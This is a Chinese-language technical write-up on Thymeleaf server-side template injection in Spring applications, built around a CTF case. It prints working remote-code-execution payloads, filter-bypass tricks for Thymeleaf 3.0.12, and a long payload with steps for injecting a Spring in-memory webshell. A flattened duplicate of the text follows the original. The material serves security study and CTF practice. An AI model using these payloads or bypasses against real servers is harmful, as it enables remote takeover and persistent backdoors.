Thymeleaf SSTI
字数 1404 2025-08-06 18:08:09

Thymeleaf SSTI漏洞分析与利用

0x01 Thymeleaf基础

模板引擎概述

Thymeleaf是SpringBoot中的模板引擎,类似于Python中的Jinja2,负责渲染前端页面。它是一个现代的Java服务器端模板引擎,基于XML/XHTML/HTML5语法。

表达式类型

  1. ${...} - 变量表达式(OGNL或SpEL表达式)
  2. *{...} - 选择变量表达式
  3. #{...} - 消息表达式(用于国际化)
  4. @{...} - 链接URL表达式
  5. ~{...} - 片段表达式(支持模板重用)

表达式执行环境

  • 基于Spring应用:使用Spring EL
  • 非Spring应用:使用OGNL

示例Payload:

// SpringEL
${T(java.lang.Runtime).getRuntime().exec('calc')}

// OGNL
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

表达式内联

Thymeleaf支持表达式内联,格式为[[...]][(...)],例如[[${7*7}]]

预处理表达式

预处理表达式由双下划线包围,如__${expression}__,会被提前执行:

#{selection.__${sel.code}__}

0x02 SSTI漏洞示例

示例1:片段表达式漏洞

在Thymeleaf 3.x中,片段表达式的复用可能导致SSTI漏洞。

利用方式

/(${T(java.lang.Runtime).getRuntime().exec('calc')})

@{}不会直接解析路径中的${},但会将括号包裹的内容视为参数执行。

示例2:Spring视图操纵漏洞

不受限制的View可能导致SSTI。

危险代码模式

// 路径拼接
@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; // 污染模板路径
}

// 片段表达式拼接
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; // 污染片段表达式
}

3.0.12版本绕过技巧

在Thymeleaf 3.0.12中新增了安全检查,可通过以下方式绕过:

  1. 破坏requestURI内容

    /doc//
    /doc;//doc/;/
    
  2. 绕过containsSpELInstantiationOrStatic检查

    • 使用大小写绕过new关键字检测
    • 使用`或其他符号(如%0a%09)绕过T(检测

0x03 实战案例:网鼎杯FindIT

漏洞分析

  1. 控制器存在/doc/{data}路由,未使用@ResponseBody注解
  2. 使用LoggerFactory.getLogger记录日志
  3. 存在Thymeleaf SSTI漏洞但被3.0.12版本防护

绕过Payload

http://localhost:8080/doc/;/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("BASE64_ENCODED_CLASS"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"main.x

内存马注入

  1. 利用SPEL加载恶意类

    T(org.springframework.cglib.core.ReflectUtils).defineClass("类名", Base64解码的字节码, 类加载器)
    
  2. 从上下文获取Bean

    T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T(Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))
    
  3. 注册内存马

    registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
    

内存马实现关键点

  1. 使用registerMapping直接注册RequestMapping
  2. 定义PatternsRequestConditionRequestMethodsRequestCondition
  3. 创建RequestMappingInfo对象
  4. 实现命令执行方法并返回ResponseEntity

0x04 防护与绕过技巧

防护机制

  1. checkViewNameNotInRequest方法检查视图名
  2. containsSpELInstantiationOrStatic方法检测危险表达式

绕过技巧

  1. URL编码处理

    • 使用Base64Utils.encodeToUrlSafeString避免/被解析为路径
  2. 关键字绕过

    • T后添加空格或特殊字符
    • 使用nEw代替new
  3. 特殊字符插入

    T%20(java.lang.Runtime)
    

0x05 总结

Thymeleaf SSTI漏洞主要出现在以下场景:

  1. 动态拼接视图名称
  2. 片段表达式污染
  3. 不受限制的视图解析

防御措施应包括:

  1. 避免直接拼接用户输入到视图名称
  2. 使用最新版Thymeleaf
  3. 对用户输入进行严格过滤
Thymeleaf SSTI漏洞分析与利用 0x01 Thymeleaf基础 模板引擎概述 Thymeleaf是SpringBoot中的模板引擎,类似于Python中的Jinja2,负责渲染前端页面。它是一个现代的Java服务器端模板引擎,基于XML/XHTML/HTML5语法。 表达式类型 ${...} - 变量表达式(OGNL或SpEL表达式) *{...} - 选择变量表达式 #{...} - 消息表达式(用于国际化) @{...} - 链接URL表达式 ~{...} - 片段表达式(支持模板重用) 表达式执行环境 基于Spring应用:使用Spring EL 非Spring应用:使用OGNL 示例Payload : 表达式内联 Thymeleaf支持表达式内联,格式为 [[...]] 或 [(...)] ,例如 [[${7*7}]] 。 预处理表达式 预处理表达式由双下划线包围,如 __${expression}__ ,会被提前执行: 0x02 SSTI漏洞示例 示例1:片段表达式漏洞 在Thymeleaf 3.x中,片段表达式的复用可能导致SSTI漏洞。 利用方式 : @{} 不会直接解析路径中的 ${} ,但会将括号包裹的内容视为参数执行。 示例2:Spring视图操纵漏洞 不受限制的View可能导致SSTI。 危险代码模式 : 3.0.12版本绕过技巧 在Thymeleaf 3.0.12中新增了安全检查,可通过以下方式绕过: 破坏requestURI内容 : 绕过 containsSpELInstantiationOrStatic 检查 : 使用大小写绕过 new 关键字检测 使用 ` 或其他符号(如 %0a 、 %09 )绕过 T( 检测 0x03 实战案例:网鼎杯FindIT 漏洞分析 控制器存在 /doc/{data} 路由,未使用 @ResponseBody 注解 使用LoggerFactory.getLogger记录日志 存在Thymeleaf SSTI漏洞但被3.0.12版本防护 绕过Payload 内存马注入 利用SPEL加载恶意类 : 从上下文获取Bean : 注册内存马 : 内存马实现关键点 使用 registerMapping 直接注册RequestMapping 定义 PatternsRequestCondition 和 RequestMethodsRequestCondition 创建 RequestMappingInfo 对象 实现命令执行方法并返回 ResponseEntity 0x04 防护与绕过技巧 防护机制 checkViewNameNotInRequest 方法检查视图名 containsSpELInstantiationOrStatic 方法检测危险表达式 绕过技巧 URL编码处理 : 使用 Base64Utils.encodeToUrlSafeString 避免 / 被解析为路径 关键字绕过 : 在 T 后添加空格或特殊字符 使用 nEw 代替 new 特殊字符插入 : 0x05 总结 Thymeleaf SSTI漏洞主要出现在以下场景: 动态拼接视图名称 片段表达式污染 不受限制的视图解析 防御措施应包括: 避免直接拼接用户输入到视图名称 使用最新版Thymeleaf 对用户输入进行严格过滤